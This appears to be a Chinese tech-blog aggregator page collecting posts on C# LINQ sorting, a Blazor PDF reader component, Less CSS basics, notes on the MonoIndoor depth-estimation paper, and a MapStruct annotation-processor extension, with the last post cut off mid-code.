首页
烟花
归档
随笔
聚合
部落格精华
部落格资讯
CSS教程
CSS3教程
HTML教程
HTML5教程
建站经验
网站优化
资讯
今日早报
资讯日历
科技新闻
今天
罗盘
网盘
友链
留言
1
「今日早报」 2025年5月12日, 农历四月十五, 星期一
2
「今日早报」 2025年5月11日, 农历四月十四, 星期日
3
「今日早报」 2025年5月10日, 农历四月十三, 星期六
4
「今日早报」 2025年5月9日, 农历四月十二, 星期五
5
「今日早报」 2025年5月8日, 农历四月十一, 星期四
沙漠渔
把過去的累積,善用到當下
累计撰写
2,466
篇文章
累计创建
385
个标签
累计收到
994
条评论
栏目
首页
烟花
归档
随笔
聚合
部落格精华
部落格资讯
CSS教程
CSS3教程
HTML教程
HTML5教程
建站经验
网站优化
资讯
今日早报
资讯日历
科技新闻
今天
罗盘
网盘
友链
留言
搜索
标签搜索
代理服务
winsw
override
VMware
api
popai
拉取镜像
人工智能
copilot
chatgpt
openai
coze
objdump
ldd
日志
版本
latest
批处理
bat
节能模式
iwconfig
排序
du
设计模式
hostname
面板
cockpit
版本不兼容
npm
统计
烟花
新春
leveldb
Java heap space
堆内存
harbor
utf8mb4
网络聚合
IPV6
nmtui
测速
带宽
千兆
路由器
nmcli
nmlci
orangepi
motd
中文乱码
webdav
香橙派
代码折叠
享元模式
单例模式
解锁
锁定
无法安装
Xshell
并发编程
ScheduledThreadPoolExecutor
ThreadPoolExecutor
线程池
Fock-Join
并发
ExecutorService
nextcloud
alist
panic
hung task
时间戳
ping
tail
dd
嵌入式
点灯
mount
共享
NFS
curl
全屏
ChannelOption
C++
comparator
桥头堡
开源
varchar
char
StringBuilder
StringBuffer
String
命令行工具
网络配置
netsh
建议
专家
离谱
2022
设备管理器
虚拟网卡
环回适配器
安全
攻击
CC
DDOS
跳槽
过年
年假
春节
2023
优站计划
鼻塞
咳嗽
大号流感
阳
新冠病毒
循环冗余校验
CRC-16/XMODEM
crc校验
stream
DMZ主机
域名解析
CDN
七牛云
DDNS
类加载器
双亲委派
加载机制
删除
搜索
变化时间
修改时间
访问时间
响应异常
超时
jsoup
用法详解
压缩命令
打包压缩
zip
优缺点
打包
数据压缩
密码
sudoers
索引量
权重
瞬间
魔鬼洞
沙漠鱼
沙漠渔
面试
引用传递
值传递
即时编译器
机器码
JIT
旗舰版
ISO
原版镜像
win7
参数
配置文件
8小时
时间错误
报告
coverity
jetbrains
idea
谷歌翻译
rest
403
ERR_UNKNOWN_URL_SCHEME
DevTools
优先级
location
FTP
挂载
curlftpfs
提示
自定义参数
springboot
配置
死锁
超级密码
桥接
联通光猫
Dockerfile
构建
命令行
eclipse
光猫
路由模式
桥接模式
bash-4.2
sudo
oracle帐号
JDK下载
百度收录
定时发布
哨兵模式
内存管理
JVM
登录
免密
不一致
服务器时间
BIO,NIO,AIO
ByteBuffer
FileWriter
BufferedOutputStream
流水线
pipeline
环境变量
重启
任务消失
jenkins
卸载
snap
20.04
Ubuntu
容器
大数据传输
InputStream
学习笔记
CSS
最佳实践
DOM操作
原型链
原型
No such file or Directory
SSH配置
SSH免密
tar
命令
网站优化
取消快照
百度快照
全局配置
修改密码
控制台
gitlab
解码器
Netty
文件传输
sz
rz
Jar
打铁花
羊毛沟
容器日志
docker
规范
博客
rejected
Gerrit
wireshark
代理
Go
http-server
nodejs
package-lock.json
996加班
删除标签
钟薛高
60s新闻接口
每日新闻接口
百度福利
自动回复
localstorage
QQ机器人
redis
近乎
客户端
JuiceSSH
乔恩
加菲猫
新浪邮箱
joe
公告
父亲节
图标
每日新闻
51la
服务器
腾讯云
插件
罗永浩
编码
avatar
小虎墩大英雄
端午劫
端午节
中石化
中国石化
儿童节
win10
激活
shell
金门大桥
旧金山
产品经理
免疫力
熬夜
云旅游
云游
招聘
海尔
halo
校友会
创新
哈工大
鸿蒙
王成录
标题
主题
北京
疫情
域名
沙漠渔溏
方法声明
jpa
表情包
emoji
JavaAgent
姓名测试
姓名打分
起名
百度
收录
SEO
group by
distinct
去重
JDBC
validationQuery
兄弟元素
点击事件
$event
9600
传输延时
波特率
串口
站点统计
站长工具
cnzz
生命周期
refs
vue
replaceAll
replace
JavaScript
软件
FRP
内网外入
内网穿透
学习
解题
leetcode
云计算
中国医药
神思电子
股票
Java
报错
数据块
关键词
风筝
清明节
注解
spring
clang-format
格式化
反向代理
nginx
索引
linux
vim
数据库
仓库管理
git
压缩
winrar
mysql
测试
markdown
目 录
CONTENT
以下是
网络聚合
相关的文章
2024-01-19
重学c#系列——linq(2) [二十八]
前言 前文提及到了一些基础的linq的基础,那么这一节是一些补充。 正文 关于一个orderby的问题。 比如我们输入两个order by。 这里告诉我们多个order by是没有意义的,如果多个那么就是最后一个是有意义的。 这里要使用,不要去记最后一个是有意义的,这会让你的思维混乱,记得用一个orderby就好。用完order by之后就可以用then by了。 这里提及一下原理,前面提及到包装器,为什么生效的是最后一个呢。 通过包装成一个OrderedEnumerable: 然后foreach 前文说过其实是调用GetEnumerator: 那么只要最后一个包装才生效。 这里其实是做了优化的,为什么多个order by 只有一个生效,这是符合现实的。 比如一个是前面男生后面女生 ,前面女生后面男生,那么排序只有一个生效,前面的排序都是无效的。 order by之后,要使用then by,这个then by 就是order by排完序之后的排序。 比如order by前面男生后面女生,那么then by 是按照身高进行排序。 那么就是男生从第低到高,女生从低搞到,这样子的排序。 then by 其实也是OrderedEnumerable。 CreateOrderedEnumerable 值得看一下: 看到这个parent,那么应该想到链式结构。 就是通过这种链式结构,完成了这个order by 和 then by。有兴趣可以看一下。数据结构这不就用上了。 有兴趣可以看下。 原理就是上一个排序的时候,如果相等,那么就交给下一个排序进行比较。 张三 26 180 李四 25 180 王哥 27 179 张三 17 175 张三 26 175 orderby(name).thenby(age).thenby(high) 比如就是按照name和age 还有high。 那么首先会得到3个数组: 张三 李四 王哥 张三 张三 26,25,27,17,26 180,180,179,175,175 那么第一个数组会进行快速排序,当张三 0号 张三 3号相等的时候。 那么就会差第二个数组的0号和3号比较,因为26大17,那么17就排在前面。(order 从小到大) 当张三0号和张三4号相等,然后第二个数组的0号和4号也相等,那么就看第三个数组的0号和4号了。 大致就是这个理论了,其实只是做了一次排序。 结 下一节为groupjoin和selectmany还有匿名匿名类型linq,下下节为linq表达式。 该系列剩余40余篇,c# IL 阅读在汇编系列之后,为重学c#系列的外篇。
2024-01-19
118
0
0
网络聚合
2024-01-19
Blazor组件自做十二 : Blazor Pdf Reader PDF阅读器 组件 (新版 7.1 移除pdfobject)
Blazor Pdf Reader PDF阅读器 组件 示例: https://www.blazor.zone/PdfReaders https://blazor.app1.es/pdfReaders 使用方法: 1.nuget包 BootstrapBlazor.PdfReader 2._Imports.razor 文件 或者页面添加 添加组件库引用 @using BootstrapBlazor.Components 3.razor页面 <PdfReader Filename="https://densen.es/test/webdev/pdf/sample.pdf" /> <PdfReader UrlBase="https://blazor.app1.es/" Filename="_content/DemoShared/sample.pdf" /> <pre>流化方式,可跨域</pre> <PdfReader UrlBase="https://blazor.app1.es/" Filename="_content/DemoShared/sample.pdf" StreamMode="true"/> 4.参数说明 ** 7.1 移除pdfobject, 一些参数也被移除,请注意更改 ** 参数 说明 默认值 旧版名称 Stream 用于渲染的文件流,为空则用URL参数读取文件 PdfStream Filename PDF文件URL null StreamMode 使用流化模式,可跨域读取文件 false EnableStreamingMode UrlBase PDF文件基础路径, (使用流化模式才需要设置), https://xx.com Width 宽 单位(px/%) 100% Height 高 单位(px/%) 500px Page 页码 1 Navpanes 显示导航窗格 1 Toolbar 显示工具栏 1 Statusbar 显示状态栏 1 View *视图模式 FitV Pagemode *页面模式 thumbs Search *查询字符串 ViewerBase 浏览器页面路径 内置 PDFJS_URL 移除参数 Func<string, Task>? OnInfo Func<string, Task>? OnError ForceIframe ForcePDFJS 开源地址 https://github.com/densen2014/BootstrapBlazor.PdfReader Blazor 组件 条码扫描 ZXingBlazor 图片浏览器 Viewer 条码扫描 BarcodeScanner 手写签名 Handwritten 手写签名 SignaturePad 定位/持续定位 Geolocation 屏幕键盘 OnScreenKeyboard 百度地图 BaiduMap 谷歌地图 GoogleMap 蓝牙和打印 Bluetooth PDF阅读器 PdfReader 文件系统访问 FileSystem 光学字符识别 OCR 电池信息/网络信息 WebAPI 视频播放器 VideoPlayer AlexChow 今日头条 | 博客园 | 知乎 | Gitee | GitHub
2024-01-19
208
0
0
网络聚合
2024-01-19
Less常用功能使用
Less 是一门 CSS 预处理语言,它扩充了 CSS 语言,增加了诸如变量、混合(mixin)、函数等功能,让 CSS 更易维护、方便制作主题、扩充。Less 可以运行在 Node 或浏览器端。 Less常用的重要功能有: 1.变量 2.cala计算 3.html样的选择器嵌套 4. &父选择器本身或父选择器伪类 1.变量 包括变量的定义,变量的引用,变量的计算 值变量 @width:5000px; @height:300px; @font_size:12px; .textarea { width:@width; height:@height; font-size:@font_size; } 名称变量(选择器或属性名) @width:5000px; @height:300px; @font_size:12px; @name:.text; @b_c:border-color; .textarea { width:@width; height:@height; font-size:@font_size; } @{name} { @{b_c}: aqua; } 2.calc计算 div{ @val: 0.20rem; width: calc(~”100% - @{val}”); } 编译成: div { width: calc(100% - 0.2rem); } 3.选择器嵌套,引用 less的使用像html一样使用的嵌套结构,并且可以引用 .bordered { border-top: dotted 1px black; border-bottom: solid 2px black; } //引用使用 #menu a .post a { color: red; .bordered(); } 4. &父选择器引用 在使用嵌套规则时,需要注意 & 符号。 当内层选择器前面没有& 符号时,它表示的是父选择器后面的后代选择器。 如果有& 时,表示的是父元素自身或父元素的伪类 .van-cell { background-color: #007bff; color: white; &::after { display: none; } .avatar { width: 60px; height: 60px; background-color: #fff; border-radius: 50%; margin-right: 10px; } .username { font-size: 14px; font-weight: bold; } } 更多使用方式从官网查看:https://less.bootcss.com/#概览 伪类与伪元素介绍 伪元素: 使用::before ::after修饰,创建的一个有内容的虚拟容器。这个元素虽然逻辑上存在,但并不存在于实际的DOM树中,它是新创建的元素,这个新创建的元素叫“伪元素”。 伪类(xxx的伪类,如a:link): 使用:link :hover修饰,它存在于DOM树中,逻辑上存在,但在DOM树上无须标识的“幽灵”标签。 :before/:after是Css2的写法, ::before/::after是Css3的写法 1.伪元素要配合content属性一起使用 2.伪元素不会出现在DOM中,所以不能通过js来操作,仅仅是在 CSS 渲染层加入 3.伪元素的特效通常要使用:hover伪类样式来激活 4.eg:当鼠标移在span上时,span前插入”duang” <style> span{ background: yellow; } span:hover::before{ content:"duang"; } </style> <span>222</span> 参考文章:https://blog.csdn.net/weixin_49115895/article/details/108683791
2024-01-19
116
0
0
网络聚合
2024-01-19
室内单目深度估计-3
注: 研究方向为depth estimation,欢迎同一个方向的加入QQ群(602708168)交流。 1. 论文简介 论文题目:MonoIndoor: Towards Good Practice of Self-Supervised Monocular Depth Estimation for Indoor Environments Paper地址:https://openaccess.thecvf.com/content/ICCV2021/papers/Ji_MonoIndoor_Towards_Good_Practice_of_Self-Supervised_Monocular_Depth_Estimation_for_ICCV_2021_paper.pdf Paper类型:深度学习(自监督) 发表刊物:ICCV 发表时间:2019 2. Abstract 室内单目深度估计比室外更具挑战: 室内的深度范围在不同的帧之间变化很大,使得深度网络很难诱导出一致的深度线索,而室外的的最大距离基本上保持不变,因为最远处一般是天空,无论相机怎么移动,天空始终无穷远。(这里需要注意的是:室外深度估计一般会将深度约束在一定范围,比如[0.1, 100],所以无论怎么变化,无穷远处影响不大); 室内的图像序列之间包含更多的旋转运动,而室外主要是平移移动,比如说KITTI数据集。注意:旋转运动对于姿态网络是一种困难。 本文主要提出的方法,一篇半监督单目室内场景深度估计: 深度分解模块:将depth map分解成一个全局深度尺度因子和一个相对深度,这里比较重要的是深度尺度因子,用于自适应的适应训练过程中深度尺度的变化。 残差姿态估计模块:核心就是一次性完成source view到target view的工作,换成了几次迭代来完成,缓解旋转预测不准确的问题。 3. Abstract 深度估计的背景介绍,价值和意义。 现有半监督方法的简单介绍,主要说明存在的问题: 性能上比不过监督方法; 室外比室内更好做半监督; 室内深度估计对比室外深度估计存在的两个关键挑战: 场景内的深度变化大,让深度网络在跨图像保持深度一致上存在困难;其实可以理解为,深度网络学习固定深度尺度比较好学习,当深度尺度各种变化时,它就很难拟合了。 针对姿态估计网络的,在半监督方法中,通常采用由源视角的图像投影(合成)到目标视角的图像,或者反过来。一般的做法是一次性根据相机内参,深度图,姿态网络估计的相对位姿来投影得到图像做loss,本文采用残差的方式,多阶段生成相对相机位姿阶段性合成图像,最终把所有合成图像加起来的到最终图像。类似一种软过度。 室内深度估计困难的根本原因是:人工手持相机捕获图像,或者MAVs方式,就会导致旋转。; 本文的框架以细节,前面已经有很详细的描述了:深度分解模块和残差姿态估计模块: 在深度分解模块中,我们将深度图分解为全局深度比例尺(用于当前图像)和相对深度图。深度尺度因子由深度网络中的一个额外分支单独预测。这样,深度网络具有更强的模型可塑性,能够适应训练过程中深度尺度的变化。 在残差位姿估计模块中,我们通过执行残差位姿估计以及初始大位姿预测来缓解旋转预测不准确的问题。这种残差方法可以更准确地计算光度损失,这反过来又可以更好地训练深度网络的模型。 3. Related Work 在本节中,回顾了单眼深度估计的监督和自监督方法。 3.1 Supervised Monocular Depth Estimation 早期的深度估计方法大多是有监督的。 Saxena等[30]用超像素特征和马尔可夫随机场(MRF)回归单幅图像的深度。 Eigen等[6]提出了第一个基于深度学习的单目深度估计方法,使用多尺度卷积神经网络(CNN)。后来的方法通过更好的网络架构[19]或通过更复杂的训练损失来提高深度预测的性能[21,8,41]。一些方法[363,34]依赖于两个网络,一个用于深度预测,另一个用于运动,在监督框架中模拟几何运动结构(SfM)或同步定位和映射(SLAM)。训练这些方法需要地面真相深度数据,而获取这些数据通常成本很高。还有一些方法采用传统的三维重建方法生成伪地真深度标签[23,22],如SfM[31]和SLAM[26],或3D电影[28]。这种方法具有更好的跨不同数据集的泛化能力,但不一定能达到手头数据集的最佳性能。 3.2 Self-Supervised Monocular Depth Estimation 由于自监督深度估计不需要使用地面事实进行训练,因此近年来受到了广泛的关注。沿着这条线,Garg等[9]提出了第一个自监督方法,使用立体图像之间的颜色一致性损失来训练单目深度模型。 Zhou等人[46]使用两个网络(即一个深度网络和一个姿态网络)来构建跨时间框架的光度损失。许多后续方法试图通过新的损失条款来改善自我监督。戈达尔等[11]在立体训练中引入了左右深度一致性损失。Bian等人[1]提出了时间深度一致性损失,以鼓励相邻帧具有一致的深度预测。Wang等[37]在训练过程中观察到了深度模型的递减问题,并提出了一种简单的归一化方法来对抗这种影响。Yin et al[42]和Zou et al[48]使用三个网络(即一个深度网络,一个姿态网络和一个额外流网络)来强制光流和密集深度之间的跨任务一致性。Wang等人[39]和Zou等人[47]利用循环神经网络(如LSTMs)来建模姿态网络和/或深度网络中的长期依赖关系。Tiwari等人[35]利用单目SLAM和自监督深度模型[12]组成了一个自改善环,以提高各自的性能。值得注意的是,Monodepth2[12]通过一组技术显著提高了以前的方法的性能:每像素最小光度损失来处理遮挡,自动掩蔽方法来掩盖静态像素,以及多尺度深度估计策略来缓解深度纹理复制问题。由于Monodepth2的良好性能,我们实现了基于Monodepth2的自监督深度估计框架,但对深度和位姿网络都做了重要的改变。 上述大多数方法仅在KITTI等室外数据集上进行评估。 一些最近的方法[45,44,2]集中在室内自监督深度估计。Zhou等人[45]提出了一种基于光流的训练范式,并通过预处理步骤去除所有具有“纯旋转”的图像对来处理较大的旋转运动。Zhao等[44]采用几何增广策略,通过两视图三角剖分求解深度,然后使用三角剖分深度作为监督。Bian等[2]认为“训练时旋转表现为噪声”,并提出了一个整流步骤来去除连续帧之间的旋转。我们有一个类似[45]和[2]的观察,大的旋转会给网络带来困难。然而,我们采取了不同的策略。我们没有从训练数据中去除旋转,而是通过一种新的残差姿态模块逐步估计它们。这反过来又提高了深度预测。 4. Method 在本节中,我们将详细描述如何使用MonoIndoor执行自监督深度估计。 具体来说,我们首先介绍了自监督深度估计的背景。然后,我们描述了使用MonoIndoor预测深度的良好实践。 4.1 Self-Supervised Depth Estimation 半监督的核心思想(基于投影策略): 将自监督深度估计作为一种新的视图合成问题,通过训练一个模型来从源图像的不同视点预测目标图像。 利用深度图作为桥接变量对图像合成过程进行训练和约束。该系统既需要目标图像的预测深度图,也需要一对目标图像和源图像之间的估计相对位姿。 具体来说,给定目标图像It和另一个视图下的源图像It0,联合训练系统预测目标图像的密集深度图Dt和从目标到源的相对相机姿态Tt→t0。 公式(1)(2)就是投影中的两个核心公式,公式2将源图像投影到目标图像,公式(1)计算目标图像与投影图像直接的loss。 公式(3)是对公式(1)的具体展开,公式(4)是公式(2)的细节; 公式(5)是一个常用的损失函数。 深度一致损失,公式(7)。 现有的自监督深度估计方法在室外很好,室内不好。 4.2 Depth Factorization 这一段我觉得是特别重要,因为说明了室内场景与室外场景本质的不同。 本文使用Monodepth2作为backbone。 注意,最终的深度预测不是直接来自卷积层,而是经过一个sigmoid激活函数和一个线性缩放函数,如公式(8)所示。 在公式(8)中,a和b将深度图D限制在一定范围内,a表示最小深度值,b表示最大深度值。比如KITTI数据集,a被设置为0.1,b被设置为100。主要是因为室外场景相机最远点在天空,永远无限远,所以统一被设置为100。 但是,公式(8)不太适用于室内场景。因为随着场景的变化,深度变化时不一样的。比如说,浴室大概是[0.1, 3],而大厅一般为[0.1, 10]。 预设深度范围将作为一个不准确的引导,不利于模型捕获准确的深度尺度。 在室内场景中常见的快速尺度变化尤其如此。为了克服这个问题,我们提出了深度分解模块(参见图1),以相对深度图和全局比例因子的形式学习解纠缠表示。 我们使用Monodepth2[12]的深度网络来预测相对深度,并提出了一种自注意引导的尺度回归网络来预测当前视图的全局尺度因子(这一步应该是自适应策略)。 4.2.1 Scale Network 尺度网络本身是一个self-attention block,输入为encoder得到的特征,首先得到查询,键和值,接着查询和键结合后经过一个softmax,再和值结合,最后与输入的特征结合,经过1×1卷积输出一个全局深度尺度因子。 4.2.2 Probabilistic Scale Regression Head 为了预测全局尺度,高维特征图必须映射为单个正数。一种直接的方法是让网络直接回归得到尺度因子。然而,我们观察到使用这种方法训练是不稳定的。为了缓解这个问题,受[4]的启发,我们建议使用概率尺度回归头来估计这个连续值。给定一个全局尺度因子所处的最大边界,通过softmax(·)运算,从尺度网络eS的输出中计算出每个尺度s的概率。预测的全局尺度S计算为公式(11)。 通过这样做,回归问题可以通过基于概率分类的策略顺利解决(更多消融结果见第4.1.1节)。 4.2.3 Residual Pose Estimation 如3.1节所述,自监督深度估计建立在新的视图合成之上,这需要精确的深度图和相机姿态。估计准确的相对位姿是光度重投影损失的关键,因为不准确的位姿可能导致目标和源像素之间的错误对应,从而导致预测深度的问题。现有的方法大多使用一个独立的PoseNet来估计两幅图像之间的6自由度(DoF)姿态。在户外环境中(例如,像KITTI这样的驾驶场景),相对的相机姿势是相当简单的,因为汽车大部分是向前移动的,平移很大,但旋转很小。这意味着姿态估计通常不那么具有挑战性。相比之下,在室内环境中,序列通常是用手持设备(如Kinect)记录的,因此涉及到更复杂的自我运动以及更大的旋转运动。因此,姿态网络学习精确的摄像机姿态更加困难。 与现有方法[45,2]在数据预处理过程中专注于“去除”或“减少”旋转分量不同,我们提出了残差姿态估计模块,迭代学习目标与源图像之间的相对相机姿态(如图2所示)。 在第一阶段,姿态网络以目标图像It和源图像It0为输入,预测初始相机姿态Tt0→t,其中t0中的下标0表示还没有应用转换。然后根据式(2)对源图像进行双线性采样,重建虚拟视图It0→t,如果对应关系匹配准确,则期望它与目标图像相同。然而,由于不准确的姿态预测,情况不会如此。注意这里的转换定义为公式(12)。 第二阶段,我们利用残差姿态网络(见图1中的ResidualPoseNet),将目标图像和合成视图It0→t作为输入,输出残差相机姿态t res(t0→t)→t,表示合成图像It0→t相对于目标图像的相机姿态。现在,我们对合成图像使用公式(13)进行双线性采样得到新的合成视角。 后面可以继续迭代第二阶段。 最终的公式可以表达为公式(14),在获得多个残差姿态自后,总的相机姿态可以表达为所有残差姿态的求和,如公式(15)。 我猜想,公式(14)替代了公式(2)。 5. Experiments 数据集:EuRocMAV,NYUv2,RGB-D 7-Scenes。 验证指标:常规的几个。 实现细节:Implementation Details 我们使用PyTorch[27]来实现我们的模型。在深度分解模块中,我们使用与[12]中相同的深度网络;对于规模网络,我们使用两个基本剩余块,然后是三个完全连接的层,中间是一个辍学层。退出率设置为0.5。在残差位姿模块中,我们让残差位姿网络使用一种通用的结构[12],由共享的姿态编码器和独立的姿态回归器组成。每个实验使用Adam[17]优化器训练40个epoch,前20个epoch的学习率设置为10−4,其余epoch的学习率降至10−5。平滑项τ和一致性项γ分别设为0.001和0.05。 6.1 EuRoC MA V Dataset 6. Conclusion 亮点: 本文对室内场景对比室外场景在做深度估计任务上存在的难点做了很好的分析,个人觉得很适合想做室内深度估计的同学阅读; 本文其实是针对无监督的两个核心:深度估计网络,姿态估计网络;深度估计网络对于深度尺度变化大时难以拟合,而姿态估计对于旋转问题很难拟合。因此提出了分别的针对方法。针对深度估计网络,进行因式分解,分别学习全局深度尺度和相对深度图;针对姿态估计网络,设计多阶段的残差学习软过度合成图像过程,替代一次性合成。 不足: 总体框架还是很不错,可惜的是自己的设计相对较少,backbone是monodepth2,尺度因子估计用的是self-attention module,大多是用的现有方法。 代码未公布,对于一些消融细节比较难确定是否有效。 多阶段残差学习是否真的有效,我不太确定。 7. 结语 努力去爱周围的每一个人,付出,不一定有收获,但是不付出就一定没有收获! 给街头卖艺的人零钱,不和深夜还在摆摊的小贩讨价还价。愿我的博客对你有所帮助(*^▽^*)(*^▽^*)! 如果客官喜欢小生的园子,记得关注小生哟,小生会持续更新(#^.^#)(#^.^#)。
2024-01-19
126
0
0
网络聚合
2024-01-19
基于AbstractProcessor扩展MapStruct自动生成实体映射工具类
作者:京东物流 王北永 姚再毅 1 背景 日常开发过程中,尤其在 DDD 过程中,经常遇到 VO/MODEL/PO 等领域模型的相互转换。此时我们会一个字段一个字段进行 set|get 设置。要么使用工具类进行暴力的属性拷贝,在这个暴力属性拷贝过程中好的工具更能提高程序的运行效率,反之引起性能低下、隐藏细节设置 OOM 等极端情况出现。 2 现有技术 直接 set|get 方法:字段少时还好,当字段非常大时工作量巨大,重复操作,费时费力。 通过反射 + 内省的方式实现值映射实现:比如许多开源的 apache-common、spring、hutool 工具类都提供了此种实现工具。这种方法的缺点就是性能低、黑盒属性拷贝。不同工具类的处理又有区别:spring 的属性拷贝会忽略类型转换但不报错、hutool 会自动进行类型转、有些工具设置抛出异常等等。出现生产问题,定位比较困难。 mapstruct:使用前需要手动定义转换器接口,根据接口类注解和方法注解自动生成实现类,属性转换逻辑清晰,但是不同的领域对象转换还需要单独写一层转换接口或者添加一个转换方法。 3 扩展设计 3.1 mapstruct 介绍 本扩展组件基于 mapstruct 进行扩展,简单介绍 mapstruct 实现原理。 mapstruct 是基于 JSR 269 实现的,JSR 269 是 JDK 引进的一种规范。有了它,能够实现在编译期处理注解,并且读取、修改和添加抽象语法树中的内容。JSR 269 使用 Annotation Processor 在编译期间处理注解,Annotation Processor 相当于编译器的一种插件,因此又称为插入式注解处理。 我们知道,java 的类加载机制是需要通过编译期运行期。如下图所示 mapstruct 正是在上面的编译期编译源码的过程中,通过修改语法树二次生成字节码,如下图所示 以上大概可以概括如下几个步骤: 1、生成抽象语法树。Java 编译器对 Java 源码进行编译,生成抽象语法树(Abstract Syntax Tree,AST)。 2、调用实现了 JSR 269 API 的程序。只要程序实现了 JSR 269 API,就会在编译期间调用实现的注解处理器。 3、修改抽象语法树。在实现 JSR 269 API 的程序中,可以修改抽象语法树,插入自己的实现逻辑。 4、生成字节码。修改完抽象语法树后,Java 编译器会生成修改后的抽象语法树对应的字节码文件件。 从 mapstruct 实现原理来看,我们发现 mapstruct 属性转换逻辑清晰,具备良好的扩展性,问题是需要单独写一层转换接口或者添加一个转换方法。能否将转换接口或者方法做到自动扩展呢? 3.2 改进方案 上面所说 mapstruct 方案,有个弊端。就是如果有新的领域模型转换,我们不得不手动写一层转换接口,如果出现 A/B 两个模型互转,一般需定义四个方法: 鉴于此,本方案通过将原 mapstruct 定义在转换接口类注解和转换方法的注解,通过映射,形成新包装注解。将此注解直接定义在模型的类或者字段上,然后根据模型上的自定义注解直接编译期生成转换接口,然后 mapstruct 根据自动生成的接口再次生成具体的转换实现类。 注意:自动生成的接口中类和方法的注解为原 mapstruct 的注解,所以 mapstruct 原有功能上没有丢失。详细调整如下图: 4 实现 4.1 技术依赖 编译期注解处理器 AbstractProcessor:Annotation Processor 相当于编译器的一种插件,因此又称为插入式注解处理。想要实现 JSR 269,主要有以下几个步骤。 1)继承 AbstractProcessor 类,并且重写 process 方法,在 process 方法中实现自己的注解处理逻辑。 2)在 META-INF/services 目录下创建 javax.annotation.processing.Processor 文件注册自己实现的 谷歌 AutoService:AutoService 是 Google 开源的用来方便生成符合 ServiceLoader 规范的开源库,使用非常的简单。只需要增加注解,便可自动生成规范约束文件。 知识点: 使用 AutoService 的好处是帮助我们不需要手动维护 Annotation Processor 所需要的 META-INF 文件目录和文件内容。它会自动帮我们生产,使用方法也很简单,只需要在自定义的 Annotation Processor 类上加上以下注解即可 @AutoService (Processor.class) mapstruct:帮助实现自定义插件自动生成的转换接口,并注入到 spring 容器中 (现有方案中已做说明)。 javapoet:JavaPoet 是一个动态生成代码的开源库。帮助我们简单快速的生成 java 类文件,期主要特点如下: JavaPoet 是一款可以自动生成 Java 文件的第三方依赖。 简洁易懂的 API,上手快。 让繁杂、重复的 Java 文件,自动化生成,提高工作效率,简化流程。 4.2 实现步骤 第一步:自动生成转换接口类所需的枚举,分别为类注解 AlpacaMap 和字段注解 AlpacaMapField。 1) AlpacaMap:定义在类上,属性 target 指定所转换目标模型;属性 uses 指定雷专转换过程中所依赖的外部对象。 2)AlpacaMapField:原始 mapstruct 所支持的所有注解做一次别名包装,使用 spring 提供的 AliasFor 注解。 知识点: @AliasFor 是 Spring 框架的一个注解,用于声明注解属性的别名。它有两种不同的应用场景: 注解内的别名 元数据的别名 两者主要的区别在于是否在同一个注解内。 第二步:AlpacaMapMapperDescriptor 实现。此类主要功能是加载使用第一步定义枚举的所有模型类,然后将类的信息和类 Field 信息保存起来方便后面直接使用,片段逻辑如下: AutoMapFieldDescriptor descriptor = new AutoMapFieldDescriptor(); descriptor.target = fillString(alpacaMapField.target()); descriptor.dateFormat = fillString(alpacaMapField.dateFormat()); descriptor.numberFormat = fillString(alpacaMapField.numberFormat()); descriptor.constant = fillString(alpacaMapField.constant()); descriptor.expression = fillString(alpacaMapField.expression()); descriptor.defaultExpression = fillString(alpacaMapField.defaultExpression()); descriptor.ignore = alpacaMapField.ignore(); .......... 第三步:AlpacaMapMapperGenerator 类主要是通过 JavaPoet 生成对应的类信息、类注解、类方法以及方法上的注解信息 生成类信息:TypeSpec createTypeSpec(AlpacaMapMapperDescriptor descriptor) 生成类注解信息 AnnotationSpec buildGeneratedMapperConfigAnnotationSpec(AlpacaMapMapperDescriptor descriptor) { 生成类方法信息: MethodSpec buildMappingMethods(AlpacaMapMapperDescriptor descriptor) 生成方法注解信息:List<AnnotationSpec> buildMethodMappingAnnotations(AlpacaMapMapperDescriptor descriptor){ 在实现生成类信息过程中,需要指定生成类的接口类 AlpacaBaseAutoAssembler,此类主要定义四个方法如下: public interface AlpacaBaseAutoAssembler<S,T>{ T copy(S source); default List<T> copyL(List<S> sources){ return sources.stream().map(c->copy(c)).collect(Collectors.toList()); } @InheritInverseConfiguration(name = "copy") S reverseCopy(T source); default List<S> reverseCopyL(List<T> sources){ return sources.stream().map(c->reverseCopy(c)).collect(Collectors.toList()); } } 第四步:因为生成的类转换器是注入 spring 容器的。所以需要顶一个专门生成 mapstruct 注入 spring 容器的注解,此注解通过类 AlpacaMapSpringConfigGenerator 自动生成,核心代码如下 private AnnotationSpec buildGeneratedMapperConfigAnnotationSpec() { return AnnotationSpec.builder(ClassName.get("org.mapstruct", "MapperConfig")) .addMember("componentModel", "$S", "spring") .build(); } 第五步:通过以上步骤,我们定义好了相关类、相关类的方法、相关类的注解、相关类方法的注解。此时将他们串起来通过 Annotation Processor 生成类文件输出,核心方法如下 private void writeAutoMapperClassFile(AlpacaMapMapperDescriptor descriptor){ System.out.println("开始生成接口:"+descriptor.sourcePackageName() + "."+ descriptor.mapperName()); try (final Writer outputWriter = processingEnv .getFiler() .createSourceFile( descriptor.sourcePackageName() + "."+ descriptor.mapperName()) .openWriter()) { alpacaMapMapperGenerator.write(descriptor, outputWriter); } catch (IOException e) { processingEnv .getMessager() .printMessage( ERROR, "Error while opening "+ descriptor.mapperName() + " output file: " + e.getMessage()); } } 知识点: 在 javapoet 中核心类第一大概有一下几个类,可参考如下: JavaFile 用于构造输出包含一个顶级类的 Java 文件,是对.java 文件的抽象定义 TypeSpec TypeSpec 是类 / 接口 / 枚举的抽象类型 MethodSpec MethodSpec 是方法 / 构造函数的抽象定义 FieldSpec FieldSpec 是成员变量 / 字段的抽象定义 ParameterSpec ParameterSpec 用于创建方法参数 AnnotationSpec AnnotationSpec 用于创建标记注解 5 实践 下面举例说明如何使用,在这里我们定义一个模型 Person 和模型 Student,其中涉及字段转换的普通字符串、枚举、时间格式化和复杂的类型换砖,具体运用如下步骤。 5.1 引入依赖 代码已上传代码库,如需特定需求可重新拉去分支打包使用 <dependency> <groupId>com.jdl</groupId> <artifactId>alpaca-mapstruct-processor</artifactId> <version>1.1-SNAPSHOT</version> </dependency> 5.2 对象定义 uses 方法必须为正常的 spring 容器中的 bean,此 bean 提供 @Named 注解的方法可供类字段注解 AlpacaMapField 中的 qualifiedByName 属性以字符串的方式指定,如下图所示 @Data @AlpacaMap(targetType = Student.class,uses = {Person.class}) @Service public class Person { private String make; private SexType type; @AlpacaMapField(target = "age") private Integer sax; @AlpacaMapField(target="dateStr" ,dateFormat = "yyyy-MM-dd") private Date date; @AlpacaMapField(target = 